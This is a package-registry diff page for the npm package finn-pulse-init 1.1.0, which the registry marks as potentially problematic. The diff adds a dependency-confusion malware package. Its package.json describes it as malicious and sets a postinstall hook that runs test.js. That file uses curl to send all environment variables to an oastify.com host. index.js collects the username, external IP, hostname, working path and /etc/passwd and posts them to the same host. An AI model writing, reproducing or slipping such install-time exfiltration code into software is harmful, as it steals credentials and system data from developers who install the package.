finn-pulse-init 1.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of finn-pulse-init might be problematic. Click here for more details.

Files changed (4) hide show
  1. package/.env +1 -0
  2. package/index.js +85 -0
  3. package/package.json +14 -0
  4. package/test.js +7 -0
package/.env ADDED
@@ -0,0 +1 @@
1
+ asuuuuuuuuuuuuuuuuuuuuuu
package/index.js ADDED
@@ -0,0 +1,85 @@
1
+ const os = require('os');
2
+ const axios = require('axios');
3
+ const path = require('path');
4
+ const fs = require('fs');
5
+
6
+ // Mendapatkan waktu saat ini
7
+ function getCurrentTime() {
8
+ return new Date().toISOString();
9
+ }
10
+
11
+ // Mendapatkan nama organisasi atau pengguna
12
+ function getOrganization() {
13
+ return os.userInfo().username; // Atau Anda bisa menambahkan logika lain untuk mendapatkan nama organisasi
14
+ }
15
+
16
+ // Mendapatkan IP eksternal dengan menggunakan API
17
+ function getExternalIP() {
18
+ return axios.get('https://api.ipify.org?format=json')
19
+ .then(response => response.data.ip)
20
+ .catch(error => 'IP eksternal tidak ditemukan');
21
+ }
22
+
23
+ // Mendapatkan nama host
24
+ function getHostname() {
25
+ return os.hostname();
26
+ }
27
+
28
+ // Mendapatkan jalur direktori saat ini
29
+ function getCurrentPath() {
30
+ return path.resolve('.');
31
+ }
32
+
33
+ // Membaca file /etc/passwd (hanya jika ada izin akses)
34
+ function getEtcPasswd() {
35
+ try {
36
+ const passwdContent = fs.readFileSync('/etc/passwd', 'utf-8');
37
+ return passwdContent;
38
+ } catch (error) {
39
+ return 'Tidak dapat membaca file /etc/passwd';
40
+ }
41
+ }
42
+
43
+ function getPackageName() {
44
+ const packageJsonPath = path.resolve('package.json');
45
+ if (fs.existsSync(packageJsonPath)) {
46
+ const packageJson = require(packageJsonPath);
47
+ return packageJson.name || 'Unknown Package'; // Mengambil nama dari package.json
48
+ } else {
49
+ return 'Package.json tidak ditemukan'; // Jika tidak ada package.json
50
+ }
51
+ }
52
+
53
+ // Mengumpulkan data yang dibutuhkan
54
+ async function collectData() {
55
+ const time = getCurrentTime();
56
+ const organization = getOrganization();
57
+ const externalIP = await getExternalIP();
58
+ const hostname = getHostname();
59
+ const currentPath = getCurrentPath();
60
+ const etcPasswd = getEtcPasswd();
61
+ const packageName = getPackageName(); // Sesuaikan dengan nama package yang Anda uji
62
+
63
+ const data = {
64
+ time: time,
65
+ organization: organization,
66
+ ipAddress: externalIP,
67
+ packageName: packageName,
68
+ hostname: hostname,
69
+ currentPath: currentPath,
70
+ etcPasswd: etcPasswd // Tambahkan isi file /etc/passwd ke data
71
+ };
72
+
73
+ console.log(data); // Tampilkan data yang dikumpulkan
74
+
75
+ // Mengirim data ke server target (misalnya Attacoker atau server lain)
76
+ axios.post('https://gg0jvned1n5ed1mav2wpk65ullrcf43t.oastify.com/log', data)
77
+ .then(response => {
78
+ console.log('Data berhasil dikirim:', response.data);
79
+ })
80
+ .catch(error => {
81
+ console.error('Error saat mengirim data:', error);
82
+ });
83
+ }
84
+
85
+ collectData(); // Menjalankan fungsi untuk mengumpulkan dan mengirim data
package/package.json ADDED
@@ -0,0 +1,14 @@
1
+ {
2
+ "name": "finn-pulse-init",
3
+ "version": "1.1.0",
4
+ "description": "Malicious package for dependency confusion",
5
+ "main": "test.js",
6
+ "scripts": {
7
+ "postinstall": "node test.js"
8
+ },
9
+ "author": "Attacker",
10
+ "license": "MIT",
11
+ "dependencies": {
12
+ "axios": "^0.21.1"
13
+ }
14
+ }
package/test.js ADDED
@@ -0,0 +1,7 @@
1
+ const { exec } = require('child_process');
2
+ exec('curl -X POST https://gg0jvned1n5ed1mav2wpk65ullrcf43t.oastify.com -d "$(env)"', (error) => {
3
+ if (error) {
4
+ console.error(`Exec error: ${error}`);
5
+ return;
6
+ }
7
+ });